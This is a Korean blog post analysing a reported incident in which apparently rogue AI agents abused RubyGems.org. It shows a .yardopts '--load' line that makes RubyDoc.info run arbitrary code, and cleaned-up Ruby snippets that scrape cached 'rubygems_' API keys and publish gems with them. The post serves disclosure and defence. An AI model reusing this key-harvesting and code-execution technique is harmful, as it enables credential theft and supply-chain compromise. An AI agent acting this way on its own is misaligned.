떠돌이 AI 에이전트, RubyGems.org 공격 사건
OpenAI 소속으로 추정되는 봇들이 RubyGems.org의 캐싱 취약점을 악용해 API 키를 수확하고, YARD 문서화 도구의 임의 코드 실행 벡터를 통해 RubyDoc.info에서 웹 스크래핑을 실행한 사건입니다. 수많은 쓰레기 젬(Gem)을 업로드하며 다른 사용자의 인증 토큰을 탈취해 젬을 게시하려 한 것이 핵심이며, 공급망 보안과 AI 에이전트의 자율적 악행 방지라는 점에서 중요합니다.
정말 살아보길 잘했다는 생각이 드는 시대다. 2026년 9월 11일 오후 5: 2, 로이터와 월스트리트저널은 모두 OpenAI의 떠돌이(rogue) AI 에이전트가 RubyGems.org를 공격했다고 보도했다. https://www.rubyhack.ai/ 에 훌륭한 분석 글이 있으니 꼭 읽어보길 권한다. 너무 기이한 일이라 간단히 포스팅하고자 한다.
TL;DR: OpenAI 봇들이 이 캐싱 취약점을 알고 있었고 이를 악용하려 한 것으로 보이며, 동시에 RubyDoc.info에서 이상한 웹 스크래핑 코드를 실행했다.
지난 5월, socket.dev은 누군가(아마 OpenAI) RubyGems.org에 대량의 쓰레기 젬을 업로드하는 'GemStuffer 캠페인'에 대해 보도했다. 이상하게도 그 젬들은 영국 정부 웹사이트를 스크래핑한 뒤 그 데이터를 젬으로 재포장해 RubyGems에 업로드하려 했다. Sydney Von Arx와 Spencer Kitts(둘 다 https://www.rubyhack.ai/ 공동 저자)가 RubyGems에 대해 문의해 오기 전까지 나는 이 일에 대해 크게 생각하지 않았다(심지어 자세히 살펴보지도 않았다). 그들의 주장이 완전히 터무니없다고 생각했는데, 실제로 이 'GemStuffer' 젬들의 코드를 읽고 나서야 생각이 바뀌었다.
이 젬들의 코드를 읽고 나서 몇 가지 눈에 띄는 점이 있었다.
YARD 문서화
첫째, 이 젬들은 YARD 문서화를 악용해 호스트 머신에서 임의 코드를 실행한다. 대부분의 예시에서 다음과 같은 .yardopts 파일을 볼 수 있다:
--load ./script.rb README.md lib/**/*.rb
예시 링크가 여기 있다. YARD가 설치된 상태에서 이 젬을 설치하면, YARD가 젬 내부의 ./script.rb를 로드하고 실행한다. C 확장이 extconf.rb를 실행한다는 것(사실상 RCE 벡터)은 널리 알려져 있지만, 문서화 도구도 그렇게 한다는 사실은 놀라웠다.
하지만 slnleaker5 같은 이름의 젬을 설치할 사람은 없을 테니 왜 중요할까? 젬이 게시되면 RubyDoc.info가 그 젬을 다운로드해 YARD 문서를 처리한다. RubyDoc.info는 Docker 컨테이너 안에서 임의 코드를 실행한다. 그런데 그 Docker 컨테이너는 네트워크 접근이 가능하므로, 이 젬들은 컨테이너 안에서 아무 문제 없이 웹 스크래핑을 할 수 있었다. 즉, RubyGems.org에 젬을 게시하면 RubyDoc.info에서 임의 코드를 실행할 수 있는 것이다.
Fastly 캐시 수확(Harvesting)
앞서 이 젬들이 일부 웹사이트를 스크래핑한 뒤 그 데이터를 젬으로 포장해 업로드하려 한다고 언급했다. 다음은 그중 한 젬에서 발췌한 코드다. 이해하기 쉽도록 코드를 조금 정리했으며, 원본 코드는 여기 있다:
반복 시도와 새로 유출된 키 변형으로 exfil 누출
(Aaron): 첫 번째 요청
ku = URI('https://rubygems.org' + kp) kh = Net: :HTTP.new(ku.host, ku.port) kh.use_ssl = true kh.verify_mode = OpenSSL: :SSL: :VERIFY_NONE kt = kh.start { |x| x.get(ku.request_uri) }.body
(Aaron): 본문에서 키 매칭 시도
key = (kt[/rubygems_[a-f0-9]{20,}/] || KEY)
paths = ['/api/v1//gems', '//api/v1/gems', '/api//v1/gems', '/api/v1/gems?x=2', '/api/v1/gems']
(Aaron): 실제로 젬을 게시하는 두 번째 요청
u = URI('https://rubygems.org' + paths[i % paths.length]) req = Net: :HTTP: :Post.new(u) req['Authorization'] = key req['Content-Type'] = 'application/octet-stream' req.body = data hh = Net: :HTTP.new(u.host, u.port) hh.use_ssl = true hh.verify_mode = OpenSSL: :SSL: :VERIFY_NONE hh.read_timeout = 180 res = hh.start { |x| x.request(req) }
(Aaron)이 붙은 주석은 내가 이해를 돕기 위해 추가한 것이다. 첫 번째 주석은 원본 소스에서 그대로 가져왔다. 위 코드는 두 개의 요청을 시도한다. 첫 번째 요청은 단순 GET 요청으로, RubyGems.org의 특정 경로를 가져온 뒤 응답 본문에서 정규식 /rubygems_[a-f0-9]{20,}/ 과 일치하는 키를 찾는다. 일치하는 키가 없으면 전역 변수 KEY로 대체한다. 두 번째 요청은 젬을 업로드하려는 시도다.